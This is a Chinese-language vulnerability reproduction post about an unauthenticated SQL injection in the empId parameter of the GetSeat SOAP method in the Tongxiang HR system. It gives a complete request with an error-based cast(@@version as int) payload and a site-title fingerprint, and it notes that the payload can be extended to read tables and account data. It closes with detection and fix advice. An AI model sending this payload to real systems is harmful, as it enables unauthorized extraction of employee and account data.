同享人力资源管理系统 Administration.asmx SQL注入漏洞复现

Wayyt  6小时前

同享人力资源管理系统 Administration.asmx SQL注入漏洞复现

0x00 漏洞概述

同享人力资源管理系统是东莞市同享软件科技有限公司面向企业客户推出的人力资源管理软件。该系统的移动端服务接口 /Mobileservice/Administration.asmx 存在 SQL 注入漏洞:该接口是一个基于 SOAP 协议的 .NET WebService,其 GetSeat 方法的 empId 参数在服务端拼接 SQL 语句时未做参数化处理,攻击者通过提交特制的参数值即可执行任意 SQL 查询。

由于该接口对数据库类型转换异常的处理方式会将异常详情直接返回给调用方,漏洞非常适合采用 cast 强制类型转换的报错注入手法:让数据库版本号等查询结果出现在转换错误消息中回显出来。利用过程不需要任何有效账号凭证,攻击者可借此获取数据库敏感信息。

公开 POC 平台条目的披露时间为 2021-08-14,漏洞综合评级为 CVSS 7.5(高危)。

0x01 影响范围

可确认的受影响对象为同享人力资源管理系统的 /Mobileservice/Administration.asmx 服务接口(GetSeat 方法)。网络侧的常见识别特征为站点标题「同享人力资源管理系统」。

关于受影响的具体版本区间,公开渠道未见可靠版本区间记录,厂商公告亦未明确,不作断言。公开漏洞平台中可见同产品其他接口(如 EmployeeInfoService.asmx 等)的注入条目提及 TXEHR V15 版本名,但对应注入点与本文漏洞不同,不能据此推断本注入点的版本适用范围。

该接口无需认证即可访问,任何能到达该服务的网络位置均可直接发起利用请求。

0x02 漏洞分析

Administration.asmx 是部署在系统移动端服务路径 /Mobileservice/ 下的 ASP.NET WebService,遵循标准 SOAP 1.1 消息格式,服务默认命名空间为 http://tempuri.org/(.NET WebService 创建时的默认命名空间)。该服务暴露了 GetSeat 方法,方法接收 companyempId 两个字符串参数,从名称看用于按员工编号查询座位信息。

服务端在处理 empId 时直接将其拼接进 SQL 语句,未使用参数化查询,也未过滤单引号。攻击者提交的值会原样进入数据库执行,注入点由此形成。

在利用手法上,该服务在 SQL 执行出错时会以 HTTP 500 状态码返回,且异常消息中包含原始错误描述。这一行为适合报错注入:cast(@@version as int) 会尝试把数据库版本字符串(形如 Microsoft SQL Server 20xx ...)转换为整数,转换必然失败,而 SQL Server 抛出的转换异常消息里会原样携带待转换的字符串内容。因此只需把任意子查询包进 cast(... as int),查询结果就会随异常消息回显,无需依赖页面正常输出位。

两个值得注意的细节:

1. SOAP 请求中 company 参数可为空字符串,说明该方法对参数没有前置的完整性校验。

2. 请求不携带任何会话 Cookie 或认证头,GetSeat 属于未做访问控制的开放方法,利用门槛很低。

0x03 利用链与请求包

利用链为单请求报错注入:向 /Mobileservice/Administration.asmx 发送携带注入载荷的 SOAP 包,通过异常消息读取数据库信息。以下请求包中的主机地址以示意地址 192.0.2.20 代替,实际复现时替换为目标站点地址。

POST /Mobileservice/Administration.asmx HTTP/1.1
Host: 192.0.2.20
Content-Type: text/xm l; charset=utf-8
Connection: close
Content-Length: 394

<?xm l version="1.0" encoding="utf-8"?>
<soap:Envelope xm lns:xsi="http://www.w3.org/2001/xm lSchema-instance" xm lns:xsd="http://www.w3.org/2001/xm lSchema" xm lns:soap="http://schemas.xm lsoap.org/soap/envelope/">
  <soap:Body>
    <GetSeat xm lns="http://tempuri.org/">
      <company></company>
      <empId>1'and '1'=cast(@@version as int)--'</empId>
    </GetSeat>
  </soap:Body>
</soap:Envelope>

载荷解读:

  • 1':闭合 empId 在 SQL 语句中的字符串上下文;
  • and '1'=cast(@@version as int):利用恒等比较携带报错子查询,cast@@version 转为整数时触发类型转换异常,异常消息包含完整的版本字符串;
  • --:注释原 SQL 语句的剩余部分,保证语句语法闭合。

判断利用成功的响应特征有三项:HTTP 状态码为 500;响应体包含 Microsoft SQL Server;响应体包含「转换成数据类型 int」字样。成功时,数据库版本字符串会出现在异常消息中。后续将 @@version 替换为其他子查询(如列举数据表、读取账号数据等),即可逐步获取数据库敏感信息。

0x04 检测与修复建议

检测层面:

1. 排查资产中标题为「同享人力资源管理系统」的站点,确认 /Mobileservice/Administration.asmx 是否对外可达。

2. 向 GetSeat 方法的 empId 参数提交包含 cast 报错表达式的探测值,观察是否返回 500 状态码及类型转换异常回显。

3. 检查 Web 与数据库审计日志中针对 empId 参数的异常拼接与转换错误痕迹。

修复层面:

1. 对 GetSeat 等 WebService 方法改用参数化查询,从根本上消除拼接注入点。

2. 对入参做严格的类型与格式校验(empId 应限定为数字或固定格式编号)。

3. 核对厂商公告中的受影响范围,升级至官方修复版本或更高版本;升级前备份配置和数据。

4. 限制移动端服务路径的访问来源,为 SOAP 方法补充认证与授权控制,并使用最小数据库权限的连接账号,必要时部署 WAF 规则。

0x05 参考资料

1. https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4516

最新评论

昵称
邮箱
提交评论